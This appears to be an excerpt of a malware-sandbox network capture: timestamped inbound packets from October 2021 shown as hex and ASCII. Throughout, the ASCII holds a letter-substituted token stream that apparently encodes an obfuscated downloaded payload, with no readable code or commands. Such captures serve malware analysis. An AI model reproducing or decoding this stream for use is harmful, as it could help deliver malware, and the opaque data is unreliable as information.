2021-10-29 15:55:26 UTC 1053 IN Data Raw: 20 6d 45 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 
20 45 70 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 
20 45 70 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 
71 4f 45 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 
71 71 4d 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 
20 45 45 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 
20 44 57 20 4f 20 44 57 20 4f 20 44 57 
Data Ascii:  mE O qOp O qOp O DD O Xq O DW O EJ O Ep O DW O ME O Xq O DD O qqX O DW O EJ O Ep O DW O 
ME O Xq O DD O mX O DW O EJ O qOE O DW O Ep O DW O DD O DX O DW O Eq O qqM O DW O XM O Xq O DD O 
qJJ O DW O EJ O EE O DW O EM O qOp O DW O DW O DW O DW O DW O DW O DW

2021-10-29 15:55:26 UTC 1054 IN Data Raw: 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 
71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 
71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 
71 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 
71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 
71 71 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 
4d 4f 20 4f 20 44 57 20 4f 20 44 45 20 
Data Ascii:  DW O Eq O WJ O DW O MO O DW O DD O qqX O DW O EJ O MM O DW O Ep O DW O DD O Xq O DW O 
Eq O WD O DW O MM O qqM O DD O qqJ O DW O EJ O Xq O DW O ME O Xq O DD O qqX O DW O Eq O WJ O DW O 
Ep O DW O DW O qqq O DW O EO O qOp O DW O ED O DW O DD O MO O DW O DE 

2021-10-29 15:55:26 UTC 1058 IN Data Raw: 44 57 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 45 70 20 4f 20 71 
4f 45 20 4f 20 44 44 20 4f 20 71 4f 4a 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 
6d 58 20 4f 20 44 57 20 4f 20 57 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 
45 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 
4f 20 58 71 20 4f 20 44 44 20 4f 20 71 
Data Ascii: DW O qqq O DW O DE O DD O XW O Ep O qOE O DD O qOJ O Xq O DD O Xq O DW O DW O mX O DW O 
WW O DW O EE O DW O DW O XO O mE O mE O qOp O Xq O DW O DW O DW O DW O DW O DW O DW O DW O 
DW O DW O DW O DW O DW O DW O DW O DW O DW O DX O DW O DW O EO O Xq O DD O q

2021-10-29 15:55:26 UTC 1062 IN Data Raw: 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 
4f 20 45 4f 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 57 4a 20 4f 
20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 
44 57 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 71 
71 4d 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 
44 57 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 
58 71 20 4f 20 44 44 20 4f 20 71 4f 57 
Data Ascii: W O DW O DW O DW O DW O MM O DW O DW O EO O DW O Ep O DW O ED O WJ O DW O WJ O DW O 
EO O DW O DW O DW O XW O DM O DW O DW O DX O mE O mE O WJ O DW O DW O Xq O qqM O DD O qqX O DW 
O Eq O mX O DW O MM O DW O DD O qOm O DW O EJ O Xq O DW O ME O Xq O DD O qOW

2021-10-29 15:55:26 UTC 1066 IN Data Raw: 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 
20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 
20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 
44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 45 71 20 4f 20 44 
57 20 4f 20 45 4a 20 4f 20 71 71 6d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 71 4f 45 20 4f 
20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 
6d 45 20 4f 20 6d 70 20 4f 20 45 4f 20 
Data Ascii: O DD O qqE O DW O Eq O MM O DW O MM O qqM O DW O DW O DW O DW O DW O DW O DW O DW O 
DW O DW O DW O DW O DW O DW O DW O DW O DW O DX O DW O DE O EO O Xq O Eq O DW O EJ O qqm O DW 
O Eq O qqq O DW O qOE O DW O DW O EE O DD O DW O DW O DW O mE O mE O mp O EO 

2021-10-29 15:55:26 UTC 1070 IN Data Raw: 20 44 57 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 
57 20 4f 20 58 6d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 
20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 
4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 44 57 20 
4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 
20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 
Data Ascii:  DW O Xq O DX O mE O mE O WJ O DW O DW O Xm O qqM O DD O ED O DW O DW O DW O DW O DW 
O DW O DW O DW O DW O DW O EE O DW O DW O EO O DW O DW O DW O DW O DW O DW O DX O qOp O DW O 
XO O DW O DD O XW O DW O EO O DW O DX O mE O mE O mE O mE O mE O qOp O qOp O 

2021-10-29 15:55:26 UTC 1074 IN Data Raw: 20 44 57 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 
71 71 4d 20 4f 20 44 44 20 4f 20 57 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 
44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 
57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 
20 4f 20 44 45 20 4f 20 71 4f 4a 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 71 4f 
70 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 57 4a 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 
20 4f 20 6d 70 20 4f 20 44 57 20 4f 20 
Data Ascii:  DW O qOM O DW O DM O Xq O DW O MX O qqM O DD O Wq O DW O Eq O WJ O DW O DW O DW O DW 
O DW O DW O DW O DW O DW O DW O DW O DW O DD O XW O DW O DW O DW O DW O DW O DE O qOJ O DW 
O DM O DW O DW O EE O qOp O DW O EM O DW O EM O WJ O DX O mE O mE O mp O DW O 

Timestamp
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2021-10-29 15:55:26 UTC 1078 IN Data Raw: 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 44 
57 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 
57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 
20 4f 20 4d 58 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 
20 4f 20 45 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 71 4d 20 4f 20 44 57 
20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 44 57 
20 4f 20 45 70 20 4f 20 44 57 20 4f 20 
Data Ascii: DW O DW O DW O DW O DW O DW O qqq O DW O Em O Xq O DD O qOE O DW O DE O DW O DW O ME 
O Xq O DD O mX O DW O Eq O XW O DW O MX O Xq O DW O qqq O DW O EJ O EE O DW O EW O Xq O DW O EX 
O DW O DE O qqM O DW O Ep O DW O DW O qOX O DW O Eq O Xq O DW O Ep O DW O 

2021-10-29 15:55:26 UTC 1082 IN Data Raw: 4d 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 
57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 57 4a 20 4f 20 44 
57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 6d 58 20 4f 20 
44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 45 20 4f 
20 44 57 20 4f 20 58 6d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 
20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 
4f 20 44 57 20 4f 20 71 4f 71 20 4f 20 
Data Ascii: MO O DW O DD O qOE O DW O Eq O XW O DW O MX O qOp O DW O Eq O DW O DM O WJ O DW O MX 
O qqM O DD O qJq O DW O Eq O mX O DW O XM O Xq O DD O qqW O DW O DW O qOE O DW O Xm O Xq O DD O 
qqJ O DW O Eq O WJ O DW O ME O Xq O DD O qqD O DW O Eq O qOE O DW O qOq O 

2021-10-29 15:55:26 UTC 1087 IN Data Raw: 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 
6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 57 
71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 
4f 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 
4a 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 
6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 
6d 20 4f 20 44 57 20 4f 20 45 71 20 4f 
Data Ascii: DW O DE O DW O DW O MM O DW O DD O qOm O DW O EJ O EE O DW O MM O qqM O DD O Wq O DW 
O Eq O WD O DW O MM O qOp O DD O qOE O DW O DD O DW O DW O XD O DW O DD O qJq O DW O EJ O XW O 
DW O MM O qqM O DD O mX O DW O Eq O XW O DW O MO O DW O DD O Em O DW O Eq O

2021-10-29 15:55:26 UTC 1091 IN Data Raw: 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 58 20 4f 20 44 57 20 4f 
20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 45 20 4f 20 44 57 
20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 
44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 44 
57 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 
20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 
20 44 57 20 4f 20 45 4a 20 4f 20 4d 4d 
Data Ascii: O XW O DW O DE O qOp O DD O XX O DW O Eq O qOE O DW O MX O qOp O DD O qOE O DW O Eq O 
WD O DW O qOO O qqM O DD O qJJ O DW O DE O DW O DW O EM O Xq O DW O mM O DW O DW O qqq O DW O 
XD O qqM O DD O qqJ O DW O Eq O WJ O DW O MO O DW O DD O qqX O DW O EJ O MM

2021-10-29 15:55:26 UTC 1095 IN Data Raw: 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 
20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 
57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 
20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 57 
20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 
20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 
20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 
Data Ascii:  O WD O DW O XM O qqM O DD O qOX O DW O EJ O EE O DW O MM O qqM O DW O qOp O DW O EO O 
DW O DW O XM O Xq O DD O mX O DW O Eq O qOp O DW O DX O Xq O DD O DX O DW O EJ O Ep O DW O MO O 
Xq O DD O qOm O DW O EJ O Xq O DW O ME O Xq O DD O qqX O DW O Eq O WJ O 

2021-10-29 15:55:26 UTC 1098 IN Data Raw: 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 
4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 
4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 
4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 
4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 
4f 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 
20 4f 20 4d 58 20 4f 20 58 71 20 4f 20 
Data Ascii:  O DW O DD O qqJ O DW O Eq O WD O DW O MX O qOp O DW O DW O DW O DW O DW O DW O XW O 
qOp O DD O mM O DW O Eq O WJ O DW O Ep O DW O DD O qOm O DW O DE O DW O DW O MM O DW O DD O qJq 
O DW O Eq O WD O DW O MO O qqM O DD O qJq O DW O Eq O DM O DW O MX O Xq O 

2021-10-29 15:55:26 UTC 1102 IN Data Raw: 6d 58 20 4f 20 57 6d 20 4f 20 58 4d 20 4f 20 58 58 20 4f 20 45 58 20 4f 20 71 71 44 20 4f 20 45 44 20 4f 20 71 
71 4f 20 4f 20 58 4d 20 4f 20 71 4a 4f 20 4f 20 45 70 20 4f 20 71 4f 57 20 4f 20 44 44 20 4f 20 71 71 44 20 4f 20 58 4d 20 
4f 20 58 45 20 4f 20 57 70 20 4f 20 71 71 4a 20 4f 20 4d 4f 20 4f 20 71 4f 4d 20 4f 20 58 44 20 4f 20 71 4a 4a 20 4f 20 71 
4f 4f 20 4f 20 45 4f 20 4f 20 4d 4f 20 4f 20 71 4f 58 20 4f 20 4d 4d 20 4f 20 71 71 4f 20 4f 20 45 58 20 4f 20 71 71 4a 20 4f 
20 4d 58 20 4f 20 57 4f 20 4f 20 57 4a 20 4f 20 57 45 20 4f 20 45 70 20 4f 20 71 4f 44 20 4f 20 44 4d 20 4f 20 71 71 45 20 
4f 20 45 45 20 4f 20 44 45 20 4f 20 45 70 20 4f 20 71 4f 70 20 4f 20 71 4f 71 20 4f 20 45 71 20 4f 20 6d 4d 20 4f 20 71 71 
57 20 4f 20 4d 58 20 4f 20 71 71 4f 
Data Ascii: mX O Wm O XM O XX O EX O qqD O ED O qqO O XM O qJO O Ep O qOW O DD O qqD O XM O XE O Wp 
O qqJ O MO O qOM O XD O qJJ O qOO O EO O MO O qOX O MM O qqO O EX O qqJ O MX O WO O WJ O WE O Ep 
O qOD O DM O qqE O EE O DE O Ep O qOp O qOq O Eq O mM O qqW O MX O qqO

2021-10-29 15:55:26 UTC 1106 IN Data Raw: 20 4d 4d 20 4f 20 45 4a 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 45 58 20 4f 20 
71 4f 6d 20 4f 20 71 4f 4f 20 4f 20 45 71 20 4f 20 71 4f 58 20 4f 20 71 71 58 20 4f 20 4d 58 20 4f 20 71 4f 44 20 4f 20 57 4a
20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 71 71 71 20 4f 20 45 6d 20 4f 20 44 45 20 4f 20 58 70 20 4f 20 44 
57 20 4f 20 45 58 20 4f 20 44 45 20 4f 20 71 4f 70 20 4f 20 71 4f 45 20 4f 20 45 6d 20 4f 20 58 4f 20 4f 20 45 4a 20 4f 20 
45 58 20 4f 20 6d 4d 20 4f 20 4d 4d 20 4f 20 45 4a 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 4d 4d 20 4f 20 71 71 4f 20 4f 
20 58 4a 20 4f 20 71 4f 58 20 4f 20 4d 4f 20 4f 20 44 4d 20 4f 20 57 45 20 4f 20 58 6d 20 4f 20 45 70 20 4f 20 44 4d 20 4f 2
0 71 4f 58 20 4f 20 71 4f 45 20 4f 
Data Ascii:  MM O EJ O DD O qqW O ME O XE O EX O qOm O qOO O Eq O qOX O qqX O MX O qOD O WJ O qOp O 
DX O Xq O qqq O Em O DE O Xp O DW O EX O DE O qOp O qOE O Em O XO O EJ O EX O mM O MM O EJ O DD O 
qqX O MM O qqO O XJ O qOX O MO O DM O WE O Xm O Ep O DM O qOX O qOE O

Timestamp
kBytes
transferred Direction Data
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2021-10-29 15:55:26 UTC 1110 IN Data Raw: 20 45 4f 20 4f 20 44 4d 20 4f 20 58 4a 20 4f 20 44 4d 20 4f 20 71 4f 58 20 4f 20 45 4d 20 4f 20 58 4a 20 4f 20 
6d 4d 20 4f 20 71 4f 6d 20 4f 20 58 4d 20 4f 20 58 57 20 4f 20 44 4d 20 4f 20 45 4f 20 4f 20 44 4d 20 4f 20 58 4a 20 4f 20 
44 4d 20 4f 20 71 4f 58 20 4f 20 45 4d 20 4f 20 58 4a 20 4f 20 6d 4d 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 58 4a 20 4f 20 
44 4d 20 4f 20 58 4a 20 4f 20 45 6d 20 4f 20 58 6d 20 4f 20 71 4f 45 20 4f 20 71 4f 4f 20 4f 20 58 4d 20 4f 20 58 45 20 4f 
20 45 4f 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 58 4a 20 4f 20 44 4d 20 4f 20 58 4a 20 4f 20 45 6d 20 4f 20 58 6d 20 4f 20 
71 4f 45 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 58 4a 20 4f 20 44 4d 20 4f 20 58 70 20 4f 
20 58 57 20 4f 20 57 70 20 4f 20 45 4a 
Data Ascii:  EO O DM O XJ O DM O qOX O EM O XJ O mM O qOm O XM O XW O DM O EO O DM O XJ O DM O qOX 
O EM O XJ O mM O DD O DD O XJ O DM O XJ O Em O Xm O qOE O qOO O XM O XE O EO O DD O DD O XJ O DM 
O XJ O Em O Xm O qOE O qOO O Xq O Xq O XW O XJ O DM O Xp O XW O Wp O EJ

2021-10-29 15:55:26 UTC 1114 IN Data Raw: 20 4f 20 45 4f 20 4f 20 4d 58 20 4f 20 71 71 4f 20 4f 20 45 6d 20 4f 20 71 4a 4a 20 4f 20 44 4d 20 4f 20 45 70 
20 4f 20 71 71 6d 20 4f 20 45 44 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 58 57 20 4f 20 45 44 20 4f 20 44 
44 20 4f 20 71 4f 4a 20 4f 20 71 71 44 20 4f 20 71 4f 4f 20 4f 20 45 4f 20 4f 20 58 45 20 4f 20 71 4f 70 20 4f 20 71 71 57 20
4f 20 57 45 20 4f 20 71 71 4f 20 4f 20 71 4f 57 20 4f 20 58 58 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 44 45 20 4f 20 71 4f 4f 
20 4f 20 45 6d 20 4f 20 71 71 70 20 4f 20 71 71 44 20 4f 20 45 45 20 4f 20 71 71 45 20 4f 20 71 71 44 20 4f 20 71 4f 45 20 
4f 20 71 4a 71 20 4f 20 57 4f 20 4f 20 71 71 71 20 4f 20 4d 45 20 4f 20 6d 70 20 4f 20 71 4f 58 20 4f 20 45 45 20 4f 20 57 
71 20 4f 20 58 4d 20 4f 20 44 44 
Data Ascii:  O EO O MX O qqO O Em O qJJ O DM O Ep O qqm O ED O qqm O mE O mp O XW O ED O DD O qOJ O 
qqD O qOO O EO O XE O qOp O qqW O WE O qqO O qOW O XX O EO O Xq O DE O qOO O Em O qqp O qqD O EE O 
qqE O qqD O qOE O qJq O WO O qqq O ME O mp O qOX O EE O Wq O XM O DD

2021-10-29 15:55:26 UTC 1119 IN Data Raw: 20 57 4f 20 4f 20 57 45 20 4f 20 71 4f 45 20 4f 20 4d 4f 20 4f 20 58 44 20 4f 20 45 58 20 4f 20 71 71 4a 20 4f 20
4d 4f 20 4f 20 57 4f 20 4f 20 57 70 20 4f 20 71 71 4a 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 71 4f 4f 20 4f 20 44 58 20 4f 
20 58 71 20 4f 20 58 70 20 4f 20 57 70 20 4f 20 71 4f 44 20 4f 20 4d 4d 20 4f 20 71 71 4f 20 4f 20 58 71 20 4f 20 71 71 4d 
20 4f 20 45 70 20 4f 20 71 71 4d 20 4f 20 58 4d 20 4f 20 45 70 20 4f 20 45 57 20 4f 20 71 71 4d 20 4f 20 58 4d 20 4f 20 44 
44 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 45 71 
20 4f 20 45 4f 20 4f 20 57 4f 20 4f 20 71 4f 6d 20 4f 20 6d 58 20 4f 20 71 4f 4f 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 57 6d 
20 4f 20 45 44 20 4f 20 71 4a 
Data Ascii:  WO O WE O qOE O MO O XD O EX O qqJ O MO O WO O Wp O qqJ O MX O qOM O qOO O DX O Xq O 
Xp O Wp O qOD O MM O qqO O Xq O qqM O Ep O qqM O XM O Ep O EW O qqM O XM O DD O DD O Xq O XW O EJ 
O EE O DW O Eq O Eq O EO O WO O qOm O mX O qOO O EJ O DW O Wm O ED O qJ

2021-10-29 15:55:26 UTC 1123 IN Data Raw: 20 4f 20 58 71 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 71 4a 4f 20 4f 20 45 6d 20 4f 20 45 4a 20 4f 20 4d 4d 20 
4f 20 71 4f 4d 20 4f 20 58 44 20 4f 20 71 4f 6d 20 4f 20 71 4f 4f 20 4f 20 45 71 20 4f 20 58 44 20 4f 20 71 4a 71 20 4f 20 
45 70 20 4f 20 44 4d 20 4f 20 6d 4d 20 4f 20 71 4f 6d 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 45 58 20 4f 20 71 71 71 20 
4f 20 4d 4f 20 4f 20 58 58 20 4f 20 45 58 20 4f 20 6d 58 20 4f 20 4d 4f 20 4f 20 58 58 20 4f 20 45 70 20 4f 20 71 4a 4f 20 4f
20 44 4d 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 44 44 20 4f 20 71 4f 70 20 4f 20 45 58 20 4f 20 58 44 20 4f 
20 44 44 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 58 6d 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 45 58 20 4f 20 71 4f 6d 20 4f 
20 4d 58 20 4f 20 45 71 20 4f 20 4d 
